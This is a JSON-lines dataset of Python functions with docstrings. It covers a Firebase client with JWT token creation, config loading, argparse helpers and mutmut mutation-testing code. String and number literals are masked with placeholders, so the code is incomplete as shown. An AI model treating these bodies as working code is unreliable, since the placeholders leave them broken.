{"signature": "@http_connection(<NUM_LIT>)<EOL><INDENT>def delete(self, url, name, params=None, headers=None, connection=None):<DEDENT>", "body": "if not name: name = '<STR_LIT>'<EOL>params = params or {}<EOL>headers = headers or {}<EOL>endpoint = self._build_endpoint_url(url, name)<EOL>self._authenticate(params, headers)<EOL>return make_delete_request(endpoint, params, headers, connection=connection)<EOL>", "docstring": "Synchronous DELETE request. ``data`` must be a JSONable value.", "id": "f9848:c2:m11"}
{"signature": "def delete_async(self, url, name, callback=None, params=None, headers=None):", "body": "if not name: name = '<STR_LIT>'<EOL>params = params or {}<EOL>headers = headers or {}<EOL>endpoint = self._build_endpoint_url(url, name)<EOL>self._authenticate(params, headers)<EOL>process_pool.apply_async(make_delete_request,<EOL>args=(endpoint, params, headers), callback=callback)<EOL>", "docstring": "Asynchronous DELETE request with the process pool.", "id": "f9848:c2:m12"}
{"signature": "def create_token(self, data, options=None):", "body": "if not options:<EOL><INDENT>options = {}<EOL><DEDENT>options.update({'<STR_LIT>': self.admin, '<STR_LIT>': self.debug})<EOL>claims = self._create_options_claims(options)<EOL>claims['<STR_LIT:v>'] = self.TOKEN_VERSION<EOL>claims['<STR_LIT>'] = int(time.mktime(time.gmtime()))<EOL>claims['<STR_LIT:d>'] = data<EOL>return self._encode_token(self.secret, claims)<EOL>", "docstring": "Generates a secure authentication token.\n\nOur token format follows the JSON Web Token (JWT) standard:\nheader.claims.signature\n\nWhere:\n1) 'header' is a stringified, base64-encoded JSON object containing version and algorithm information.\n2) 'claims' is a stringified, base64-encoded JSON object containing a set of claims:\n    Library-generated claims:\n    'iat' -> The issued at time in seconds since the epoch as a number\n    'd' -> The arbitrary JSON object supplied by the user.\n    User-supplied claims (these are all optional):\n    'exp' (optional) -> The expiration time of this token, as a number of seconds since the epoch.\n    'nbf' (optional) -> The 'not before' time before which the token should be rejected (seconds since the epoch)\n    'admin' (optional) -> If set to true, this client will bypass all security rules (use this to authenticate servers)\n    'debug' (optional) -> 'set to true to make this client receive debug information about security rule execution.\n    'simulate' (optional, internal-only for now) -> Set to true to neuter all API operations (listens / puts\n               will run security rules but not actually write or return data).\n3) A signature that proves the validity of this token (see: http://tools.ietf.org/html/draft-ietf-jose-json-web-signature-07)\n\nFor base64-encoding we use URL-safe base64 encoding. This ensures that the entire token is URL-safe\nand could, for instance, be placed as a query argument without any encoding (and this is what the JWT spec requires).\n\nArgs:\n    data - a json serializable object of data to be included in the token\n    options - An optional dictionary of additional claims for the token. Possible keys include:\n        a) 'expires' -- A timestamp (as a number of seconds since the epoch) denoting a time after which\n            this token should no longer be valid.\n        b) 'notBefore' -- A timestamp (as a number of seconds since the epoch) denoting a time before\n            which this token should be rejected by the server.\n        c) 'admin' -- Set to true to bypass all security rules (use this for your trusted servers).\n        d) 'debug' -- Set to true to enable debug mode (so you can see the results of Rules API operations)\n        e) 'simulate' -- (internal-only for now) Set to true to neuter all API operations (listens / puts\n                        will run security rules but not actually write or return data)\nReturns:\n    A signed Firebase Authentication Token\nRaises:\n    ValueError: if an invalid key is specified in options", "id": "f9849:c0:m1"}
{"signature": "@atexit.register<EOL>def close_process_pool():", "body": "process_pool.close()<EOL>process_pool.join()<EOL>process_pool.terminate()<EOL>", "docstring": "Clean up function that closes and terminates the process pool\ndefined in the ``async`` file.", "id": "f9850:m0"}
{"signature": "@classmethod<EOL><INDENT>def _create_class_proxy(cls, theclass):<DEDENT>", "body": "def make_method(name):<EOL><INDENT>def method(self, *args, **kw):<EOL><INDENT>return getattr(object.__getattribute__(self, \"<STR_LIT>\")(), name)(<EOL>*args, **kw)<EOL><DEDENT>return method<EOL><DEDENT>namespace = {}<EOL>for name in cls._special_names:<EOL><INDENT>if hasattr(theclass, name):<EOL><INDENT>namespace[name] = make_method(name)<EOL><DEDENT><DEDENT>return type(\"<STR_LIT>\" % (cls.__name__, theclass.__name__), (cls,), namespace)<EOL>", "docstring": "creates a proxy for the given class", "id": "f9853:c0:m9"}
{"signature": "def __new__(cls, obj, *args, **kwargs):", "body": "try:<EOL><INDENT>cache = cls.__dict__[\"<STR_LIT>\"]<EOL><DEDENT>except KeyError:<EOL><INDENT>cls._class_proxy_cache = cache = {}<EOL><DEDENT>try:<EOL><INDENT>theclass = cache[obj.__class__]<EOL><DEDENT>except KeyError:<EOL><INDENT>cache[obj.__class__] = theclass = cls._create_class_proxy(obj.__class__)<EOL><DEDENT>ins = object.__new__(theclass)<EOL>theclass.__init__(ins, obj, *args, **kwargs)<EOL>return ins<EOL>", "docstring": "creates an proxy instance referencing `obj`. (obj, *args, **kwargs) are\npassed to this class' __init__, so deriving classes can define an\n__init__ method of their own.\nnote: _class_proxy_cache is unique per deriving class (each deriving\nclass must hold its own cache)", "id": "f9853:c0:m10"}
{"signature": "def http_connection(timeout):", "body": "def wrapper(f):<EOL><INDENT>def wrapped(*args, **kwargs):<EOL><INDENT>if not ('<STR_LIT>' in kwargs) or not kwargs['<STR_LIT>']:<EOL><INDENT>connection = requests.Session()<EOL>kwargs['<STR_LIT>'] = connection<EOL><DEDENT>else:<EOL><INDENT>connection = kwargs['<STR_LIT>']<EOL><DEDENT>if not getattr(connection, '<STR_LIT>', False):<EOL><INDENT>connection.timeout = timeout<EOL><DEDENT>connection.headers.update({'<STR_LIT>': '<STR_LIT:application/json>'})<EOL>return f(*args, **kwargs)<EOL><DEDENT>return wraps(f)(wrapped)<EOL><DEDENT>return wrapper<EOL>", "docstring": "Decorator function that injects a requests.Session instance into\nthe decorated function's actual parameters if not given.", "id": "f9854:m0"}
{"signature": "def get():", "body": "config = {}<EOL>try:<EOL><INDENT>config = _load_config()<EOL><DEDENT>except IOError:<EOL><INDENT>try:<EOL><INDENT>_create_default_config()<EOL>config = _load_config()<EOL><DEDENT>except IOError as e:<EOL><INDENT>raise ConfigError(_FILE_CREATION_ERROR.format(e.args[<NUM_LIT:0>]))<EOL><DEDENT><DEDENT>except SyntaxError as e:<EOL><INDENT>raise ConfigError(_JSON_SYNTAX_ERROR.format(e.args[<NUM_LIT:0>]))<EOL><DEDENT>except Exception:<EOL><INDENT>raise ConfigError(_JSON_SYNTAX_ERROR.format('<STR_LIT>'))<EOL><DEDENT>try:<EOL><INDENT>_validate(config)<EOL><DEDENT>except KeyError as e:<EOL><INDENT>raise ConfigError(_MANDATORY_KEY_ERROR.format(e.args[<NUM_LIT:0>]))<EOL><DEDENT>except SyntaxError as e:<EOL><INDENT>raise ConfigError(_INVALID_KEY_ERROR.format(e.args[<NUM_LIT:0>]))<EOL><DEDENT>except ValueError as e:<EOL><INDENT>raise ConfigError(_INVALID_VALUE_ERROR.format(e.args[<NUM_LIT:0>]))<EOL><DEDENT>config['<STR_LIT>'] = os.path.expanduser(config['<STR_LIT>'])<EOL>_complete_config(config)<EOL>return config<EOL>", "docstring": "Only API function for the config module.\n\n    :return: {dict}     loaded validated configuration.", "id": "f9873:m0"}
{"signature": "def _load_config():", "body": "config_path = _get_config_path()<EOL>with open(config_path, '<STR_LIT:r>') as f:<EOL><INDENT>return yaml.safe_load(f)<EOL><DEDENT>", "docstring": "Config loading\n    Raises:\n        IOError         on missing config file\n        SyntaxError     on invalid json syntax\n    :return: {dict} loaded but unvalidated config", "id": "f9873:m3"}
{"signature": "def _validate(config):", "body": "for mandatory_key in _mandatory_keys:<EOL><INDENT>if mandatory_key not in config:<EOL><INDENT>raise KeyError(mandatory_key)<EOL><DEDENT><DEDENT>for key in config.keys():<EOL><INDENT>if key not in _mandatory_keys and key not in _optional_keys:<EOL><INDENT>raise SyntaxError(key)<EOL><DEDENT>if not isinstance(config[key], _default_config[key].__class__):<EOL><INDENT>raise ValueError(key)<EOL><DEDENT><DEDENT>", "docstring": "Config validation\n    Raises:\n        KeyError        on missing mandatory key\n        SyntaxError     on invalid key\n        ValueError      on invalid value for key\n    :param config: {dict} config to validate\n    :return: None", "id": "f9873:m4"}
{"signature": "def _create_default_config():", "body": "config_path = _get_config_path()<EOL>with open(config_path, '<STR_LIT>') as f:<EOL><INDENT>yaml.dump(_default_config, f, default_flow_style=False)<EOL><DEDENT>", "docstring": "Writes the full default configuration to the appropriate place.\n    Raises:\n        IOError  - on unsuccesful file write\n    :return: None", "id": "f9873:m5"}
{"signature": "def get_data_for_root(project_root):", "body": "raw_nodes = file_handler.get_node_list(project_root)<EOL>command_tree = command_processor.generate_command_tree(raw_nodes)<EOL>command_processor.flatten_commands(command_tree)<EOL>command_processor.process_variables(command_tree)<EOL>return command_tree<EOL>", "docstring": "This is the only API function of the projectfile module. It parses the Projectfiles\n    from the given path and assembles the flattened command data structure.\n\n    Returned data: {\n        'min-version': (1, 0, 0),\n        'description': 'Optional main description.',\n        'commands': {\n            'command_1': {\n                'description': 'Optional command level description for command_1.',\n                'script': [\n                    'flattened',\n                    'out command',\n                    'list for',\n                    'command_1',\n                    ...\n                ]\n            }\n            ...\n        }\n    }\n\n    Raises:\n        ProjectfileError with descriptive error message in the format of:\n        {\n            'path': 'Optional path for the corresponding Projectfile.',\n            'line': 'Optional line number for the error in the Projectfile.',\n            'error': 'Mandatory descriptive error message.'\n        }\n\n\n    :param project_root:\n    :return: {dict} parsed and flattened commands with descriptions", "id": "f9875:m0"}
{"signature": "def _data_integrity_check(data):", "body": "deps = []<EOL>for command in data['<STR_LIT>']:<EOL><INDENT>if '<STR_LIT>' in data['<STR_LIT>'][command]:<EOL><INDENT>for d in data['<STR_LIT>'][command]['<STR_LIT>']:<EOL><INDENT>deps.append({<EOL>'<STR_LIT:d>': d,<EOL>'<STR_LIT:c>': command<EOL>})<EOL><DEDENT><DEDENT><DEDENT>for d in deps:<EOL><INDENT>if d['<STR_LIT:d>'] not in data['<STR_LIT>']:<EOL><INDENT>raise error.ProjectfileError({<EOL>'<STR_LIT:error>': error.PROJECTFILE_INVALID_DEPENDENCY.format(d['<STR_LIT:d>'], d['<STR_LIT:c>'])<EOL>})<EOL><DEDENT><DEDENT>", "docstring": "Checks if all command dependencies refers to and existing command. If not, a ProjectfileError\n    will be raised with the problematic dependency and it's command.\n\n    :param data: parsed raw data set.\n    :return: None", "id": "f9880:m3"}
{"signature": "def __init__(self, config_path, prog_version=None,<EOL>use_base_defaults=False, defaults=None):", "body": "self.config_path = config_path<EOL>self.config = self.read_config()<EOL>self.defaults = defaults if defaultselse self.defaults if use_base_defaults else None<EOL>self.prog_version = prog_version if prog_version else self.config.get(<EOL>\"<STR_LIT>\", {}).get(\"<STR_LIT:version>\")<EOL>", "docstring": ":param config_path:\n:param use_base_defaults:\n:param defaults:", "id": "f9890:c0:m0"}
{"signature": "def apply_defaults(self, commands):", "body": "for command in commands:<EOL><INDENT>if '<STR_LIT:action>' in command and \"<STR_LIT>\" in command['<STR_LIT:action>']:<EOL><INDENT>command['<STR_LIT:action>'] = eval(\"<STR_LIT>\".format(command['<STR_LIT:action>']))<EOL><DEDENT>if command['<STR_LIT>'][<NUM_LIT:0>].startswith('<STR_LIT:->'):<EOL><INDENT>if '<STR_LIT>' not in command:<EOL><INDENT>command['<STR_LIT>'] = False<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "apply default settings to commands\n            not static, shadow \"self\" in eval", "id": "f9890:c0:m2"}
{"signature": "def create_commands(self, commands, parser):", "body": "self.apply_defaults(commands)<EOL>def create_single_command(command):<EOL><INDENT>keys = command['<STR_LIT>']<EOL>del command['<STR_LIT>']<EOL>kwargs = {}<EOL>for item in command:<EOL><INDENT>kwargs[item] = command[item]<EOL><DEDENT>parser.add_argument(*keys, **kwargs)<EOL><DEDENT>if len(commands) > <NUM_LIT:1>:<EOL><INDENT>for command in commands:<EOL><INDENT>create_single_command(command)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>create_single_command(commands[<NUM_LIT:0>])<EOL><DEDENT>", "docstring": "add commands to parser", "id": "f9890:c0:m3"}
{"signature": "def create_subparsers(self, parser):", "body": "subparsers = parser.add_subparsers()<EOL>for name in self.config['<STR_LIT>']:<EOL><INDENT>subparser = subparsers.add_parser(name)<EOL>self.create_commands(self.config['<STR_LIT>'][name], subparser)<EOL><DEDENT>", "docstring": "get config for subparser and create commands", "id": "f9890:c0:m4"}
{"signature": "def show_version(self):", "body": "class ShowVersionAction(argparse.Action):<EOL><INDENT>def __init__(inner_self, nargs=<NUM_LIT:0>, **kw):<EOL><INDENT>super(ShowVersionAction, inner_self).__init__(nargs=nargs, **kw)<EOL><DEDENT>def __call__(inner_self, parser, args, value, option_string=None):<EOL><INDENT>print(\"<STR_LIT>\".format(<EOL>parser_name=self.config.get(<EOL>\"<STR_LIT>\", {}).get(\"<STR_LIT>\"),<EOL>version=self.prog_version))<EOL><DEDENT><DEDENT>return ShowVersionAction<EOL>", "docstring": "custom command line  action to show version", "id": "f9890:c0:m7"}
{"signature": "def check_path_action(self):", "body": "class CheckPathAction(argparse.Action):<EOL><INDENT>def __call__(self, parser, args, value, option_string=None):<EOL><INDENT>if type(value) is list:<EOL><INDENT>value = value[<NUM_LIT:0>]<EOL><DEDENT>user_value = value<EOL>if option_string == '<STR_LIT:None>':<EOL><INDENT>if not os.path.isdir(value):<EOL><INDENT>_current_user = os.path.expanduser(\"<STR_LIT>\")<EOL>if not value.startswith(_current_user)and not value.startswith(os.getcwd()):<EOL><INDENT>if os.path.isdir(os.path.join(_current_user, value)):<EOL><INDENT>value = os.path.join(_current_user, value)<EOL><DEDENT>elif os.path.isdir(os.path.join(os.getcwd(), value)):<EOL><INDENT>value = os.path.join(os.getcwd(), value)<EOL><DEDENT>else:<EOL><INDENT>value = None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>value = None<EOL><DEDENT><DEDENT><DEDENT>elif option_string == '<STR_LIT>':<EOL><INDENT>if not os.path.isdir(value):<EOL><INDENT>if not os.path.isdir(os.path.join(args.target, value)):<EOL><INDENT>value = None<EOL><DEDENT><DEDENT><DEDENT>if not value:<EOL><INDENT>logger.error(\"<STR_LIT>\"<EOL>\"<STR_LIT>\",<EOL>user_value, option_string)<EOL>exit(<NUM_LIT:1>)<EOL><DEDENT>setattr(args, self.dest, value)<EOL><DEDENT><DEDENT>return CheckPathAction<EOL>", "docstring": "custom command line action to check file exist", "id": "f9890:c0:m8"}
{"signature": "def status_printer():", "body": "last_len = [<NUM_LIT:0>]<EOL>def p(s):<EOL><INDENT>s = next(spinner) + '<STR_LIT:U+0020>' + s<EOL>len_s = len(s)<EOL>output = '<STR_LIT:\\r>' + s + ('<STR_LIT:U+0020>' * max(last_len[<NUM_LIT:0>] - len_s, <NUM_LIT:0>))<EOL>sys.stdout.write(output)<EOL>sys.stdout.flush()<EOL>last_len[<NUM_LIT:0>] = len_s<EOL><DEDENT>return p<EOL>", "docstring": "Manage the printing and in-place updating of a line of characters\n\n    .. note::\n        If the string is longer than a line, then in-place updating may not\n        work (it will print a new line at each refresh).", "id": "f9897:m1"}
{"signature": "def get_or_guess_paths_to_mutate(paths_to_mutate):", "body": "if paths_to_mutate is None:<EOL><INDENT>this_dir = os.getcwd().split(os.sep)[-<NUM_LIT:1>]<EOL>if isdir('<STR_LIT>'):<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>elif isdir('<STR_LIT:src>'):<EOL><INDENT>return '<STR_LIT:src>'<EOL><DEDENT>elif isdir(this_dir):<EOL><INDENT>return this_dir<EOL><DEDENT>elif isdir(this_dir.replace('<STR_LIT:->', '<STR_LIT:_>')):<EOL><INDENT>return this_dir.replace('<STR_LIT:->', '<STR_LIT:_>')<EOL><DEDENT>elif isdir(this_dir.replace('<STR_LIT:U+0020>', '<STR_LIT:_>')):<EOL><INDENT>return this_dir.replace('<STR_LIT:U+0020>', '<STR_LIT:_>')<EOL><DEDENT>elif isdir(this_dir.replace('<STR_LIT:->', '<STR_LIT>')):<EOL><INDENT>return this_dir.replace('<STR_LIT:->', '<STR_LIT>')<EOL><DEDENT>elif isdir(this_dir.replace('<STR_LIT:U+0020>', '<STR_LIT>')):<EOL><INDENT>return this_dir.replace('<STR_LIT:U+0020>', '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>raise FileNotFoundError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return paths_to_mutate<EOL><DEDENT>", "docstring": ":type paths_to_mutate: str or None\n:rtype: str", "id": "f9897:m2"}
{"signature": "def do_apply(mutation_pk, dict_synonyms, backup):", "body": "filename, mutation_id = filename_and_mutation_id_from_pk(int(mutation_pk))<EOL>update_line_numbers(filename)<EOL>context = Context(<EOL>mutation_id=mutation_id,<EOL>filename=filename,<EOL>dict_synonyms=dict_synonyms,<EOL>)<EOL>mutate_file(<EOL>backup=backup,<EOL>context=context,<EOL>)<EOL>if context.number_of_performed_mutations == <NUM_LIT:0>:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Apply a specified mutant to the source code\n\n    :param mutation_pk: mutmut cache primary key of the mutant to apply\n    :type mutation_pk: str\n\n    :param dict_synonyms: list of synonym keywords for a python dictionary\n    :type dict_synonyms: list[str]\n\n    :param backup: if :obj:`True` create a backup of the source file\n        before applying the mutation\n    :type backup: bool", "id": "f9897:m3"}
{"signature": "def popen_streaming_output(cmd, callback, timeout=None):", "body": "if os.name == '<STR_LIT>':  <EOL><INDENT>process = subprocess.Popen(<EOL>shlex.split(cmd),<EOL>stdout=subprocess.PIPE,<EOL>stderr=subprocess.PIPE<EOL>)<EOL>stdout = process.stdout<EOL><DEDENT>else:<EOL><INDENT>master, slave = os.openpty()<EOL>process = subprocess.Popen(<EOL>shlex.split(cmd, posix=True),<EOL>stdout=slave,<EOL>stderr=slave<EOL>)<EOL>stdout = os.fdopen(master)<EOL>os.close(slave)<EOL><DEDENT>def kill(process_):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>try:<EOL><INDENT>process_.kill()<EOL><DEDENT>except OSError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>timer = Timer(timeout, kill, [process])<EOL>timer.setDaemon(True)<EOL>timer.start()<EOL>while process.returncode is None:<EOL><INDENT>try:<EOL><INDENT>if os.name == '<STR_LIT>':  <EOL><INDENT>line = stdout.readline()<EOL>line = line.decode(\"<STR_LIT:utf-8>\")<EOL>if line:  <EOL><INDENT>callback(line.rstrip())<EOL><DEDENT><DEDENT>else:<EOL><INDENT>while True:<EOL><INDENT>line = stdout.readline()<EOL>if not line:<EOL><INDENT>break<EOL><DEDENT>callback(line.rstrip())<EOL><DEDENT><DEDENT><DEDENT>except (IOError, OSError):<EOL><INDENT>pass<EOL><DEDENT>if not timer.is_alive():<EOL><INDENT>raise TimeoutError(\"<STR_LIT>\".format(cmd, timeout))<EOL><DEDENT>process.poll()<EOL><DEDENT>timer.cancel()<EOL>return process.returncode<EOL>", "docstring": "Open a subprocess and stream its output without hard-blocking.\n\n    :param cmd: the command to execute within the subprocess\n    :type cmd: str\n\n    :param callback: function that intakes the subprocess' stdout line by line.\n        It is called for each line received from the subprocess' stdout stream.\n    :type callback: Callable[[Context], bool]\n\n    :param timeout: the timeout time of the subprocess\n    :type timeout: float\n\n    :raises TimeoutError: if the subprocess' execution time exceeds\n        the timeout time\n\n    :return: the return code of the executed subprocess\n    :rtype: int", "id": "f9897:m6"}
{"signature": "def run_mutation(config, filename, mutation_id):", "body": "context = Context(<EOL>mutation_id=mutation_id,<EOL>filename=filename,<EOL>exclude=config.exclude_callback,<EOL>dict_synonyms=config.dict_synonyms,<EOL>config=config,<EOL>)<EOL>cached_status = cached_mutation_status(filename, mutation_id, config.hash_of_tests)<EOL>if cached_status == BAD_SURVIVED:<EOL><INDENT>config.surviving_mutants += <NUM_LIT:1><EOL><DEDENT>elif cached_status == BAD_TIMEOUT:<EOL><INDENT>config.surviving_mutants_timeout += <NUM_LIT:1><EOL><DEDENT>elif cached_status == OK_KILLED:<EOL><INDENT>config.killed_mutants += <NUM_LIT:1><EOL><DEDENT>elif cached_status == OK_SUSPICIOUS:<EOL><INDENT>config.suspicious_mutants += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>assert cached_status == UNTESTED, cached_status<EOL><DEDENT>config.print_progress()<EOL>if cached_status != UNTESTED:<EOL><INDENT>return cached_status<EOL><DEDENT>if config.pre_mutation:<EOL><INDENT>result = subprocess.check_output(config.pre_mutation, shell=True).decode().strip()<EOL>if result:<EOL><INDENT>print(result)<EOL><DEDENT><DEDENT>try:<EOL><INDENT>number_of_mutations_performed = mutate_file(<EOL>backup=True,<EOL>context=context<EOL>)<EOL>assert number_of_mutations_performed<EOL>start = time()<EOL>try:<EOL><INDENT>survived = tests_pass(config)<EOL><DEDENT>except TimeoutError:<EOL><INDENT>context.config.surviving_mutants_timeout += <NUM_LIT:1><EOL>return BAD_TIMEOUT<EOL><DEDENT>time_elapsed = time() - start<EOL>if time_elapsed > config.test_time_base + (config.baseline_time_elapsed * config.test_time_multipler):<EOL><INDENT>config.suspicious_mutants += <NUM_LIT:1><EOL>return OK_SUSPICIOUS<EOL><DEDENT>if survived:<EOL><INDENT>context.config.surviving_mutants += <NUM_LIT:1><EOL>return BAD_SURVIVED<EOL><DEDENT>else:<EOL><INDENT>context.config.killed_mutants += <NUM_LIT:1><EOL>return OK_KILLED<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>move(filename + '<STR_LIT>', filename)<EOL>if config.post_mutation:<EOL><INDENT>result = subprocess.check_output(config.post_mutation, shell=True).decode().strip()<EOL>if result:<EOL><INDENT>print(result)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": ":type config: Config\n:type filename: str\n:type mutation_id: MutationID\n:return: (computed or cached) status of the tested mutant\n:rtype: str", "id": "f9897:m8"}
{"signature": "def read_coverage_data():", "body": "print('<STR_LIT>')<EOL>from coverage import Coverage<EOL>cov = Coverage('<STR_LIT>')<EOL>cov.load()<EOL>return cov.get_data()<EOL>", "docstring": ":rtype: CoverageData or None", "id": "f9897:m11"}
{"signature": "def add_mutations_by_file(mutations_by_file, filename, exclude, dict_synonyms):", "body": "with open(filename) as f:<EOL><INDENT>source = f.read()<EOL><DEDENT>context = Context(<EOL>source=source,<EOL>filename=filename,<EOL>exclude=exclude,<EOL>dict_synonyms=dict_synonyms,<EOL>)<EOL>try:<EOL><INDENT>mutations_by_file[filename] = list_mutations(context)<EOL>register_mutants(mutations_by_file)<EOL><DEDENT>except Exception as e:<EOL><INDENT>raise RuntimeError('<STR_LIT>' % (context.filename, context.current_source_line), e)<EOL><DEDENT>", "docstring": ":type mutations_by_file: dict[str, list[MutationID]]\n:type filename: str\n:type exclude: Callable[[Context], bool]\n:type dict_synonyms: list[str]", "id": "f9897:m14"}
{"signature": "def compute_exit_code(config, exception=None):", "body": "code = <NUM_LIT:0><EOL>if exception is not None:<EOL><INDENT>code = code | <NUM_LIT:1><EOL><DEDENT>if config.surviving_mutants > <NUM_LIT:0>:<EOL><INDENT>code = code | <NUM_LIT:2><EOL><DEDENT>if config.surviving_mutants_timeout > <NUM_LIT:0>:<EOL><INDENT>code = code | <NUM_LIT:4><EOL><DEDENT>if config.suspicious_mutants > <NUM_LIT:0>:<EOL><INDENT>code = code | <NUM_LIT:8><EOL><DEDENT>return code<EOL>", "docstring": "Compute an exit code for mutmut mutation testing\n\n    The following exit codes are available for mutmut:\n     * 0 if all mutants were killed (OK_KILLED)\n     * 1 if a fatal error occurred\n     * 2 if one or more mutants survived (BAD_SURVIVED)\n     * 4 if one or more mutants timed out (BAD_TIMEOUT)\n     * 8 if one or more mutants caused tests to take twice as long (OK_SUSPICIOUS)\n\n     Exit codes 1 to 8 will be bit-ORed so that it is possible to know what\n     different mutant statuses occurred during mutation testing.\n\n    :param exception:\n    :type exception: Exception\n    :param config:\n    :type config: Config\n\n    :return: integer noting the exit code of the mutation tests.\n    :rtype: int", "id": "f9897:m16"}
{"signature": "def argument_mutation(children, context, **_):", "body": "if len(context.stack) >= <NUM_LIT:3> and context.stack[-<NUM_LIT:3>].type in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>stack_pos_of_power_node = -<NUM_LIT:3><EOL><DEDENT>elif len(context.stack) >= <NUM_LIT:4> and context.stack[-<NUM_LIT:4>].type in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>stack_pos_of_power_node = -<NUM_LIT:4><EOL><DEDENT>else:<EOL><INDENT>return<EOL><DEDENT>power_node = context.stack[stack_pos_of_power_node]<EOL>if power_node.children[<NUM_LIT:0>].type == '<STR_LIT:name>' and power_node.children[<NUM_LIT:0>].value in context.dict_synonyms:<EOL><INDENT>c = children[<NUM_LIT:0>]<EOL>if c.type == '<STR_LIT:name>':<EOL><INDENT>children = children[:]<EOL>children[<NUM_LIT:0>] = Name(c.value + '<STR_LIT>', start_pos=c.start_pos, prefix=c.prefix)<EOL>return children<EOL><DEDENT><DEDENT>", "docstring": ":type context: Context", "id": "f9898:m5"}
{"signature": "def mutate(context):", "body": "try:<EOL><INDENT>result = parse(context.source, error_recovery=False)<EOL><DEDENT>except Exception:<EOL><INDENT>print('<STR_LIT>' % context.filename)<EOL>print('<STR_LIT>')<EOL>raise<EOL><DEDENT>mutate_list_of_nodes(result, context=context)<EOL>mutated_source = result.get_code().replace('<STR_LIT>', '<STR_LIT:U+0020>')<EOL>if context.remove_newline_at_end:<EOL><INDENT>assert mutated_source[-<NUM_LIT:1>] == '<STR_LIT:\\n>'<EOL>mutated_source = mutated_source[:-<NUM_LIT:1>]<EOL><DEDENT>if context.number_of_performed_mutations:<EOL><INDENT>assert context.source != mutated_source<EOL><DEDENT>context.mutated_source = mutated_source<EOL>return mutated_source, context.number_of_performed_mutations<EOL>", "docstring": ":type context: Context\n:return: tuple: mutated source code, number of mutations performed\n:rtype: tuple[str, int]", "id": "f9898:m12"}
{"signature": "def mutate_node(node, context):", "body": "context.stack.append(node)<EOL>try:<EOL><INDENT>if node.type in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>return<EOL><DEDENT>if node.start_pos[<NUM_LIT:0>] - <NUM_LIT:1> != context.current_line_index:<EOL><INDENT>context.current_line_index = node.start_pos[<NUM_LIT:0>] - <NUM_LIT:1><EOL>context.index = <NUM_LIT:0>  <EOL><DEDENT>if hasattr(node, '<STR_LIT>'):<EOL><INDENT>mutate_list_of_nodes(node, context=context)<EOL>if context.number_of_performed_mutations and context.mutation_id != ALL:<EOL><INDENT>return<EOL><DEDENT><DEDENT>mutation = mutations_by_type.get(node.type)<EOL>if mutation is None:<EOL><INDENT>return<EOL><DEDENT>for key, value in sorted(mutation.items()):<EOL><INDENT>old = getattr(node, key)<EOL>if context.exclude_line():<EOL><INDENT>continue<EOL><DEDENT>new = evaluate(<EOL>value,<EOL>context=context,<EOL>node=node,<EOL>value=getattr(node, '<STR_LIT:value>', None),<EOL>children=getattr(node, '<STR_LIT>', None),<EOL>)<EOL>assert not callable(new)<EOL>if new is not None and new != old:<EOL><INDENT>if context.should_mutate():<EOL><INDENT>context.number_of_performed_mutations += <NUM_LIT:1><EOL>context.performed_mutation_ids.append(context.mutation_id_of_current_index)<EOL>setattr(node, key, new)<EOL><DEDENT>context.index += <NUM_LIT:1><EOL><DEDENT>if context.number_of_performed_mutations and context.mutation_id != ALL:<EOL><INDENT>return<EOL><DEDENT><DEDENT><DEDENT>finally:<EOL><INDENT>context.stack.pop()<EOL><DEDENT>", "docstring": ":type context: Context", "id": "f9898:m13"}
{"signature": "def mutate_list_of_nodes(node, context):", "body": "return_annotation_started = False<EOL>for child_node in node.children:<EOL><INDENT>if child_node.type == '<STR_LIT>' and child_node.value == '<STR_LIT>':<EOL><INDENT>return_annotation_started = True<EOL><DEDENT>if return_annotation_started and child_node.type == '<STR_LIT>' and child_node.value == '<STR_LIT::>':<EOL><INDENT>return_annotation_started = False<EOL><DEDENT>if return_annotation_started:<EOL><INDENT>continue<EOL><DEDENT>mutate_node(child_node, context=context)<EOL>if context.number_of_performed_mutations and context.mutation_id != ALL:<EOL><INDENT>return<EOL><DEDENT><DEDENT>", "docstring": ":type context: Context", "id": "f9898:m14"}
{"signature": "def count_mutations(context):", "body": "assert context.mutation_id == ALL<EOL>mutate(context)<EOL>return context.number_of_performed_mutations<EOL>", "docstring": ":type context: Context", "id": "f9898:m15"}
{"signature": "def list_mutations(context):", "body": "assert context.mutation_id == ALL<EOL>mutate(context)<EOL>return context.performed_mutation_ids<EOL>", "docstring": ":type context: Context", "id": "f9898:m16"}
{"signature": "def mutate_file(backup, context):", "body": "with open(context.filename) as f:<EOL><INDENT>code = f.read()<EOL><DEDENT>context.source = code<EOL>if backup:<EOL><INDENT>with open(context.filename + '<STR_LIT>', '<STR_LIT:w>') as f:<EOL><INDENT>f.write(code)<EOL><DEDENT><DEDENT>result, number_of_mutations_performed = mutate(context)<EOL>with open(context.filename, '<STR_LIT:w>') as f:<EOL><INDENT>f.write(result)<EOL><DEDENT>return number_of_mutations_performed<EOL>", "docstring": ":type backup: bool\n:type context: Context", "id": "f9898:m17"}
{"signature": "@patch(\"<STR_LIT>\")<EOL><INDENT>def server(self, args, run=None):<DEDENT>", "body": "args = [sys.argv[<NUM_LIT:0>]] + args<EOL>result = StringIO()<EOL>with patch(\"<STR_LIT>\", result):<EOL><INDENT>with mock.patch('<STR_LIT>', args):<EOL><INDENT>nemo, app = Server.cmd()<EOL><DEDENT><DEDENT>result_string = result.getvalue()<EOL>return nemo, app, result_string, run<EOL>", "docstring": "Run args (Splitted list of command line)\n        ..note:: See https://wrongsideofmemphis.wordpress.com/2010/03/01/store-standard-output-on-a-variable-in-python/\n        :param args: List of commandline arguments\n        :return: Sys stdout, status", "id": "f9921:c0:m0"}
